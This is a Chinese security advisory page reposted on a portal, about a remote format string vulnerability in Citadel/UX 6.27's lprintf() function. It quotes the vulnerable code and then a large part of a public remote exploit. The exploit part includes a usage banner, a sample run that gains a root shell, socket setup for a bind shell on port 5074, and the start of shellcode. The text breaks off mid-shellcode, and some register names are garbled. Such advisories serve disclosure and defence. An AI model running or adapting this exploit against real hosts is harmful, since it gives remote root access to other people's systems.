Citadel/UX远程格式串漏洞

2008-04-09 04:20:33来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Citadel/UX远程格式串漏洞

发布日期:2004-12-13
更新日期:2004-12-14

受影响系统:
Citadel/UX Citadel/UX 6.27
描述:
Citadel/UX是一款开放源代码的BBS程序,使用在Linux、BSD、Solaris和其他Unix系统平台上,最近的Citadel/UX版本包含对Email的支持,可以通过POP3、IMAP、SMTP进行通信。

Citadel/UX的sysdep.c中的lprintf()函数存在格式串问题,远程攻击者可以利用这个漏洞进行拒绝服务攻击或以进程权限执行任意指令。

问题存在于sysdep.c中的lprintf()函数中,当不正确参数传递给syslog()函数时可导致拒绝服务,精心构建提交数据可以以进程权限执行任意指令。其中问题代码如下:

---------- sysdep.c ----------
108: void lprintf(enum LogLevel loglevel, const char *format, ...) {
109: va_list arg_ptr;
110: char buf[SIZ];
111:
112: va_start(arg_ptr, format);
113: vsnprintf(buf, sizeof(buf), format, arg_ptr);
114: va_end(arg_ptr);
115:
116: if (syslog_facility >= 0) {
117: if (loglevel <= verbosity) {
118: /* Hackery -IO */
119: if (CC && CC->cs_pid) {
120: memmove(buf 6, buf, sizeof(buf) - 6);
121: snprintf(buf, 6, "[=]", CC->cs_pid);
122: buf[5] = ' ';
123: }
124: syslog(loglevel, buf); // <-- the format bug
125: }
126: }
---------- sysdep.c ----------

<*来源:CoKi (coki@nosystem.com.ar)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110295469430696&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

CoKi (coki@nosystem.com.ar)提供了如下测试方法:

/* citadel_fsexp.c
*
* Citadel/UX v6.27 remote format string exploit
*
* Use: ./citadel_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -t <arg> type of target system
* -l targets list
* -g <arg> syslog GOT address
* -r <arg> RET address
*
* coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0
*
* Citadel/UX v6.27 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host : localhost
* [*] system : Slackware Linux 10.0
* [*] syslog GOT address : 0x0809e9e8
* [*] RET address : 0xbfffd5fa
*
* [ ] verifying host... OK
* [ ] conecting... OK
* [ ] building exploit... OK
* [ ] sending exploit... OK
*
* [ ] waiting for shell...
* [ ] connecting to shell... OK
*
* [!] you have a shell :)
*
* Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* Tested in Slackware 10.0
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl 陎,陎
"\x50" // pushl 陎
"\x40" // incl 陎
"\x89\xc3" // movl 陎,離
"\x50" // pushl 陎
"\x40" // incl 陎
"\x50" // pushl 陎
"\x89\xe1" // movl %esp,靫
"\xb0\x66" // movb $0x66,%al

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:phpMyAdmin多个安全漏洞

下一篇:多家厂商xzgv PRF解析整数溢出漏洞